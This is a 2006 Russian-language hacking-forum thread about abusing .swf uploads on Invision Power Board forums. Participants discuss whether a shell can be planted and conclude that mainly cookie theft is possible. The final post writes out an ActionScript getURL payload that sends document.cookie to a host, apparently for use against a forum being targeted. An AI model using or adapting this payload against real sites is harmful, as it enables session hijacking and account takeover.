HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Загрузка файлов с розширение .swf, в форуме Invision Power Board
  #1  
Старый 28.11.2006, 19:39
N0n$e№Z
Новичок
Регистрация: 27.11.2006
Сообщений: 17
Провел на форуме:
113057

Репутация: 13
По умолчанию Загрузка файлов с розширение .swf, в форуме Invision Power Board

Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!

Последний раз редактировалось _-[A.M.D]HiM@S-_; 29.11.2006 в 02:33..
 
Ответить с цитированием

  #2  
Старый 28.11.2006, 20:02
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Флеш выполняется в браузере на стороне клиента.
 
Ответить с цитированием

  #3  
Старый 09.12.2006, 16:49
ReanimatoR
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
Провел на форуме:
2154209

Репутация: 341
Отправить сообщение для ReanimatoR с помощью ICQ
По умолчанию

есть возможность только стырить куки=)
 
Ответить с цитированием

  #4  
Старый 09.12.2006, 16:58
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

В свф шелл ты не зальешь

розширение (С)

ггг.
 
Ответить с цитированием

  #5  
Старый 09.12.2006, 17:16
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

ИМХО ... сможеш сперетьь только куки!
 
Ответить с цитированием

  #6  
Старый 10.12.2006, 21:10
Zeratull
Познающий
Регистрация: 22.11.2006
Сообщений: 56
Провел на форуме:
125168

Репутация: 20
Отправить сообщение для Zeratull с помощью ICQ
По умолчанию

Цитата:
Сообщение от N0n$e№Z  
Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!
вроде читал на ибресурс что через swf большая дыра открывается, поэтому его обычно и не разрешают на форумах.

сейчас вот хотел найти эту тему где читал, что то не нашёл
 
Ответить с цитированием

  #7  
Старый 10.12.2006, 21:55
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от slider  
ИМХО ... сможеш сперетьь только куки!

хорошо бы)))

Автору: имея булочки, мона залить шеллу
 
Ответить с цитированием

  #8  
Старый 11.12.2006, 07:57
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Возможно чтение произвольных файлов через Action Script.
 
Ответить с цитированием

  #9  
Старый 11.12.2006, 07:58
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Читать тут.
http://www.flasher.ru/
 
Ответить с цитированием

  #10  
Старый 27.12.2006, 02:34
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию

кстати, на испутыемом форуме не могу залить аватар в флехе, на локалхосте такой же форум, и всё разрешено и тоже не грузит.
Загружаю через инет - на испытуемый залилось, но не играет, а на локалхост вылетает апач

Кстати, какую правильно строку надо?

getURL("javascript:document.src=\"http://localhost/s/s.gif?\"+document.cookie")

не работает, в ИЕ выскакиваеи попапом.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4 Ice_Fro$T Сценарии/CMF/СMS 19 18.11.2006 09:19
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Сценарии/CMF/СMS 14 19.04.2006 19:40
Сколько полей в таблице ibf_topics в форуме Invision Power Board 1.3.1? LittleLamer Сценарии/CMF/СMS 2 29.01.2005 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ